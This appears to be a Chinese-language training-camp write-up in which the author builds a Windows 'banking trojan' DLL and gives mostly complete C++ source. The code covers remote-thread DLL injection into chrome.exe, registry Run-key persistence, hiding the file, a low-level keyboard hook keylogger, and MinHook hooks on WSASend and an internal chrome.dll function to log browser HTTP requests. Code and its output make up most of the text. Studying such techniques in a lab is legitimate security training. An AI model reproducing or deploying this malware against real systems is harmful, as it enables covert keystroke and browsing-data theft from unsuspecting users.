# Team T5 2024 木馬實作
我的檔案在這個連結:
https://drive.google.com/file/d/1vBGgadkXtQxHoQHFXpyz1s_wF8yusyaD/view?usp=sharing
之前一直知道有這個東西,只是今天第一次做,就寫細一點順便當個筆記吧。
## 1. Loader
### 編譯 dll
先寫個 helloworld 吧
- `testdll.h`
```cpp!
#include <iostream>
extern "C" __declspec(dllexport) void hello();
```
- `testdll.cpp`
```cpp!
#include "testdll.h"
#include <Windows.h>
extern "C" __declspec(dllexport) void hello(){
MessageBoxA(0, "Helloworld", "yee", 0);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: {
MessageBoxA(0, "yee", "yee", 0);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
```
- `main.cpp`
```cpp!
#include "testdll.h"
int main(){
hello();
}
```
接下來去做編譯和 link
```bash
g++ testdll.cpp -o testdll.dll -shared
g++ main.cpp -L. -ltestdll -o main.exe
```
執行時,因為 dll 被載入,所以會彈出一個 yee 的 `MessageBox`,然後呼叫 hello 的時候會彈出 helloworld 的 `MessageBox`。
### 用 `rundll32` 跑起來
接下來照題目要求,寫一個 `BankingTrojan.cpp`
```cpp!
#include<Windows.h>
extern "C" __declspec(dllexport) void StartBankingTrojan(){
MessageBoxA(0, "Helloworld", "yee", 0);
while(1);
}
```
接下來用 `rundll32` 去跑
```bash
rundll32 .\BankingTrojan.dll,StartBankingTrojan
```
可以發現他跳出了一個 `MessageBox`,然後我們打開 `Process Explorer`:
看到 `rundll32` 還持續在跑

點開後會發現他是我由我們之前那條指令執行的

### dll injection 進 chrome.exe
過程中發現在做 dll injeciton 的時候,如果在 `main` 裡面放 `messageBox` 會出事,新開一個 thread 去執行。
接下來講一下 dll injection 的實作,首先進入 `main` 時,我會先去檢查它是不是由 `rundll32` 去執行的,如果是的話就去進行 `injection` ,否則的話就創一個新的線程去彈 `messagebox`。
```cpp!
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: {
if(!isRundll32()){
CreateThread(NULL, 0, StartFunction, NULL, 0, NULL);
}
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
```
`isRundll32` 的實作長這樣:
```cpp!
extern "C" __declspec(dllexport) bool isRundll32(){
char processName[MAX_PATH] = {0};
if(GetModuleFileNameA(NULL, processName, MAX_PATH)){
std::string processNameStr = processName;
if(processNameStr.find("rundll32.exe") != std::string::npos){
return 1;
}
}
return 0;
}
```
`StartFunction` 長這樣:
```cpp!
DWORD WINAPI StartFunction(LPVOID lpParam){
MessageBoxA(0, "Helloworld", "yee", 0);
return 0;
}
```
然後接下來是 `inject` 的實作,這個實作來自於以下網址:
https://ithelp.ithome.com.tw/articles/10268768
首先獲得目標 process 的 handle,接下來申請一塊記憶體,把 dll 的名字寫進去。
接下來在目標 process 開一個 thread,並且執行 `kernel32.dll` 中的 `LoadLibraryA`,然後就會把我們的 dll 載入進去(後來去看到要求在不同目錄下執行後我有去做修改,變成會傳入一個路徑,inject 會往指定進程注入那個 dll)。
```cpp!
extern "C" __declspec(dllexport) void inject(DWORD pid){
char dllname[150] = "C:\\Users\\rota1001\\Desktop\\T5Camp_2025_Trojan\\BankingTrojan.dll";
HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
int size = strlen(dllname) + 5;
PVOID procdlladdr = VirtualAllocEx(hprocess, NULL, size, MEM_COMMIT, PAGE_READWRITE);
if (procdlladdr == NULL) {
printf("handle %p VirtualAllocEx failed\n", hprocess);
return;
}
SIZE_T writenum;
if (!WriteProcessMemory(hprocess, procdlladdr, dllname, size, &writenum)) {
printf("handle %p WriteProcessMemory failed\n", hprocess);
return;
}
FARPROC loadfuncaddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (!loadfuncaddr) {
printf("handle %p GetProcAddress failed\n", hprocess);
return;
}
HANDLE hthread = CreateRemoteThread(hprocess, NULL, 0, (LPTHREAD_START_ROUTINE)loadfuncaddr, (LPVOID)procdlladdr, 0, NULL);
if (!hthread) {
printf("handle %p CreateRemoteThread failed\n", hprocess);
return;
}
// MessageBoxA(0, "success", "info", 0);
CloseHandle(hthread);
CloseHandle(hprocess);
return;
}
```
最後是 `StartBankingTrojan`,我設定讓他不斷地去找電腦上名為 `chrome.exe` 而且沒注入過的 process,並且向它注入這個 dll。
```cpp!
extern "C" __declspec(dllexport) void StartBankingTrojan(){
std::set<DWORD> pids;
while(1){
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
continue;
}
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe)) {
do {
std::string currentProcessName = pe.szExeFile;
if(pids.count(pe.th32ProcessID)){
continue;
}
if (currentProcessName == "chrome.exe") {
inject(pe.th32ProcessID);
pids.insert(pe.th32ParentProcessID);
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
}
}
```
於是接下來,我們可以去執行它:
```bash
rundll32 .\BankingTrojan.dll,StartBankingTrojan
```
然後點開 `chrome.exe`,發現跳出了許多 `messageBox`

在 `Process Explore` 中,可以發現執行 `chrome.exe` 的 process 被注入了 `BankingTrojan.dll`

## 2. Rookit
這題開始後我簡單的去整理了一下我的檔案結構,大概是長這樣:
```
C:.
| Makefile
|
+---.vscode
| settings.json
|
+---bin
| BankingTrojan.dll
|
+---build
| BankingTrojan.o
| InjectDll.o
| Rookit.o
|
+---include
| BankingTrojan.h
| GlobalConfig.h
| InjectDll.h
| Rookit.h
|
\---src
BankingTrojan.cpp
InjectDll.cpp
Rookit.cpp
```
### Persistence
就寫一個這樣的函數將他寫到 `regedit` 裡面去,在用 `rundll32` 去跑的時候執行他。
```cpp!
void AddDllToStartup(char* dll) {
std::string dllPath = dll;
std::string functionName = "StartBankingTrojan";
std::string value = "BankingTrojan";
std::string command = "rundll32.exe " + dllPath + "," + functionName;
HKEY hKey;
LONG result = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
if (result != ERROR_SUCCESS) {
return;
}
result = RegSetValueEx(hKey, value.c_str(), 0, REG_SZ, reinterpret_cast<const BYTE*>(command.c_str()), command.size() + 1);
if (result != ERROR_SUCCESS) {
return;
}
RegCloseKey(hKey);
}
```
然後可以發現執行起來後,在 `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` 有這個 value

點開可以發現他的值是執行這個 dll 的命令

### 隱藏檔案
接下來要讓 `explorer.exe` 無法看見這個 `dll`,也是寫個函式,把它隱藏起來。
```cpp!
void HideDllFile(char* dllPath){
SetFileAttributes(dllPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
}
```
可以發現檔案總管中看不到他

### keylogger
接下來去側錄鍵盤,然後因為我不希望我輸入一個鍵會被偵測好幾遍,所以我改了一下我在做 `injection` 的地方,變成說他會跑過所有的 process,如果發現沒有 process 被注入的話就去找一個 process 注入。
```cpp!
void injectionLoop(char* dllPath){
while(1){
bool hasdll = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
continue;
}
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe)) {
do {
std::string currentProcessName = pe.szExeFile;
if (currentProcessName == "chrome.exe" && IsDllLoadedInProcess(pe.th32ProcessID, "BankingTrojan.dll")) {
hasdll = 1;
}
} while (Process32Next(hSnapshot, &pe));
}
if(!hasdll && Process32First(hSnapshot, &pe)){
do {
std::string currentProcessName = pe.szExeFile;
if (currentProcessName == "chrome.exe") {
inject(pe.th32ProcessID, dllPath);
break;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
}
}
```
然後接下來是側錄鍵盤的部分,本來是用一個無窮迴圈,然後遊歷所有的 key 看看每個 key 分別有沒有被按過,但是有些組合的鍵,像是 `shift+9` 會是 `(` 這種東西就判不到 (或是要做比較複雜的判斷)。這種情況我是直接去讓 chatgpt 生一個有加 `shift` 的 key 對應按鍵的表,另外像是一些不是直接由 ascii 碼轉過去的特殊鍵像是 [delete] 之類的,我也是請 chatgpt 去幫我生一個表。另外,按鍵的偵測改成了用 Hook,的方式,當觸發 Hook,而且觸發的原因是 `KEY_UP` 的話,那就會去偵測鍵盤,分別去適合的表裡面找 `vk_code` 對應的值。實作在下面,那兩個表就不放在這裡了。
另外,因為要讓注入在別的進程的 dll 知道那個 txt 檔要放在哪裡,我的作法是用 `share memory` 來實現 `process` 之間的溝通,並且把它包成以下的這個 `getFolder`。
```cpp!
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
// MessageBoxA(0, "pressed", "info", 0);
if (nCode == HC_ACTION && wParam == WM_KEYUP) {
KBDLLHOOKSTRUCT* p = (KBDLLHOOKSTRUCT*)lParam;
bool shiftPressed = (GetAsyncKeyState(VK_SHIFT) & 0x8000) != 0;
std::string key;
if(shiftPressed && shiftedKeys.find(p->vkCode) != shiftedKeys.end()){
key = shiftedKeys[p->vkCode];
}else{
key = keyNames[p->vkCode];
}
char path[MAX_PATH];
strcpy_s(path, getFolder());
strcat(path, "\\BankingTrojanKeylogger.txt");
std::ofstream logfile(path, std::ios::app);
if(key.size() == 0){
}else if(key.size() > 1){
logfile << "[" << key << "]\n";
}else{
logfile << key << "\n";
}
logfile.close();
}
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
DWORD WINAPI InstallHook(LPVOID lpParm) {
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
MSG msg;
while(GetMessage(&msg, NULL, 0, 0)){
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(hHook);
return 0;
}
```
`getFolder`:
```cpp!
char* getFolder(){
HANDLE hMapFile = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, "Folder");
char* sharedMemory = (char*)MapViewOfFile(hMapFile, FILE_MAP_READ, 0, 0, 256);
return sharedMemory;
}
```
於是我在鍵盤上輸入以下東西和一些特殊鍵:
```
fjkdfa;lkjheriu23987#(*&$_)_*
```
然後 `BankingTrojanKeylogger.txt` 就跑出來了

## 3.Hack Chrome
### 攔截 http request
這個 Hook 的實作是參考 `Hook 的奇妙冒險 - Ring3 Hook` 這篇文章。
我是去使用 `MinHook`,至於那個只能使用一個 `dll` 的條件我是做完才看到,於是我就直接把那整個專案的原始碼和我的融合,變成編出一個 `MinHook` 的 object file 而非 dll。
接下來,要去看看要 Hook 哪個函數。本來因為看到有 `winhttp.dll`,以為他是用 `WinHttpSendRequest` 去送 request,但 Hook 後發現沒用,於是我打開 `API monitor` ,送一個 request 出去:

發現了他使用了 `Ws2_32.dll` 中的 `WSASend`,於是我去 Hook 這個函數。
`HackingChrome.h` :
```cpp!
#include<winsock2.h>
#include<Windows.h>
#include<stdio.h>
#include"MinHook.h"
#include<fstream>
// WSASend
typedef int (WINAPI* WSASEND)(
SOCKET s,
LPWSABUF lpBuffers,
DWORD dwBufferCount,
LPDWORD lpNumberOfBytesSent,
DWORD dwFlags,
LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
);
int WINAPI DetourWSASend(
SOCKET s,
LPWSABUF lpBuffers,
DWORD dwBufferCount,
LPDWORD lpNumberOfBytesSent,
DWORD dwFlags,
LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
);
typedef struct WSASendParams{
SOCKET s;
LPWSABUF lpBuffers;
DWORD dwBufferCount;
LPDWORD lpNumberOfBytesSent;
DWORD dwFlags;
LPWSAOVERLAPPED lpOverlapped;
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine;
}WSASendParams;
void HookWSASend();
```
`HackingChrome.cpp` :
```cpp!
#include"HackingChrome.h"
void HookFunction(void* origional, void* detour, void** old){
if(MH_Initialize() != MH_OK){
MessageBoxA(0, "fail1", "info", 0);
return;
}
if(MH_CreateHook(origional, detour, old) != MH_OK){
MessageBoxA(0, "fail2", "info", 0);
return;
}
if(MH_EnableHook(origional) != MH_OK){
MessageBoxA(0, "fail3", "info", 0);
return;
}
//MessageBoxA(0, "success", "info", 0);
}
int WINAPI DetourWSASend(
SOCKET s,
LPWSABUF lpBuffers,
DWORD dwBufferCount,
LPDWORD lpNumberOfBytesSent,
DWORD dwFlags,
LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
){
WSASendParams* params = new WSASendParams;
*params = (WSASendParams){s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine};
if(params->dwBufferCount > 0 && params->lpBuffers[0].len > 0 && strncmp(params->lpBuffers[0].buf, "GET ", 4) == 0){
char path[MAX_PATH];
strcpy_s(path, getFolder());
strcat(path, "\\BankingTrojanChromeMitmHttp.txt");
std::ofstream logfile(path, std::ios::app);
for(int i = 0; i < params->dwBufferCount; i++){
const char* buffer = params->lpBuffers[i].buf;
for(int j = 0; j < params->lpBuffers[i].len; j++){
logfile << buffer[j];
}
}
logfile.close();
}
// MessageBoxA(0, "hooked", "info", 0);
return fpWSASend(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine);
}
void HookWSASend(){
HMODULE hWinsock2 = GetModuleHandle("Ws2_32.dll");
while(!hWinsock2){
hWinsock2 = GetModuleHandle("Ws2_32.dll");
}
void* pWSASend = (void*)GetProcAddress(hWinsock2, "WSASend");
if(!pWSASend){
MessageBoxA(0, "Failed to locate Send", "Error", MB_OK);
return;
}
HookFunction(reinterpret_cast<void*>(pWSASend), reinterpret_cast<void*>(&DetourWSASend), reinterpret_cast<void**>(&fpWSASend));
}
```
於是我用以下指令架一個 `http server` :
```bash
python -m http.server
```
然後執行 `dll`
```bash
rundll32 .\bin\BankingTrojan.dll,StartBankingTrojan
```
接下來打開 `chrome` 去訪問 `127.0.0.1:8000`,會發現多了 `BankingTrojanChromeMitmHttp.txt` 這個檔案。

然後看他的內容會發現發出去的 http request 會放在這裡:
```!
GET / HTTP/1.1
Host: 127.0.0.1:8000
Connection: keep-alive
sec-ch-ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Sec-Purpose: prefetch;prerender
Purpose: prefetch
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
GET /favicon.ico HTTP/1.1
Host: 127.0.0.1:8000
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
sec-ch-ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"
sec-ch-ua-mobile: ?0
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: http://127.0.0.1:8000/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
```
### 攔截 Http 1.1 over TLS requests
這題由於時間的關係我沒有完成,就寫一下我大致的進度
首先我在 `API monitor` 看不出什麼東西來,於是我進去 `x64dbg` 開始動態分析
由於他還是會用到 `WSASend` 去傳訊息,於是我在那裡下斷點,然後看哪裡呼叫到他,回溯回去,然後我就看到沒有加密前的東西

然後我去下一個 hook 在這裡,確實能拿到 `get` 的請求內容和 `post` 的網址
```cpp!
HTTPFP fpHttp = NULL;
__int64 __fastcall DetourHTTP(__int64 a1, __int128 *a2, __int64 a3, char a4){
char path[MAX_PATH];
strcpy_s(path, getFolder());
strcat(path, "\\BankingTrojanChromeMitmHttp.txt");
std::ofstream logfile(path, std::ios::app);
logfile << *(char**)a2 << "\n";
logfile << *(char**)a3 << "\n";
logfile.close();
return fpHttp(a1, a2, a3, a4);
}
void HookHTTP(){
HMODULE hchrome = GetModuleHandle("chrome.dll");
while(!hchrome){
hchrome = GetModuleHandle("chrome.dll");
}
uintptr_t base = (uintptr_t)hchrome;
void* pHttp = (void*)(base + 0xAEC590);
char buf[100];
HookFunction(reinterpret_cast<void*>(pHttp), reinterpret_cast<void*>(&DetourHTTP), reinterpret_cast<void**>(&fpHttp));
}
```
```!
GET
https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=129
GET
https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=129
POST
https://chrome.cloudflare-dns.com/dns-query
GET
https://dns.google/dns-query?dns=AAABAAABAAAAAAABA3d3dwdnc3RhdGljA2NvbQAAAQABAAApEAAAAAAAAFQADABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
GET
https://dns.google/dns-query?dns=AAABAAABAAAAAAABA3d3dwdnc3RhdGljA2NvbQAAAQABAAApEAAAAAAAAFQADABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
GET
https://dns.google/dns-query?dns=AAABAAABAAAAAAABA3d3dwdnc3RhdGljA2NvbQAAAQABAAApEAAAAAAAAFQADABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
POST
https://chrome.cloudflare-dns.com/dns-query
GET
https://dns.google/dns-query?dns=AAABAAABAAAAAAABA3d3dwdnc3RhdGljA2NvbQAAAQABAAApEAAAAAAAAFQADABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
GET
https://dns.google/dns-query?dns=AAABAAABAAAAAAABA3d3dwdnc3RhdGljA2NvbQAAAQABAAApEAAAAAAAAFQADABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
GET
https://dns.google/dns-query?dns=AAABAAABAAAAAAABA3d3dwdnc3RhdGljA2NvbQAAAQABAAApEAAAAAAAAFQADABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
POST
https://chrome.cloudflare-dns.com/dns-query
POST
https://chrome.cloudflare-dns.com/dns-query
GET
https://dns.google/dns-query?dns=AAABAAABAAAAAAABA3d3dwdnc3RhdGljA2NvbQAAAQABAAApEAAAAAAAAFQADABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```
另外,在下面其實也有看到封包的 `Header` 部分,只是我沒有去把他們蒐集起來:
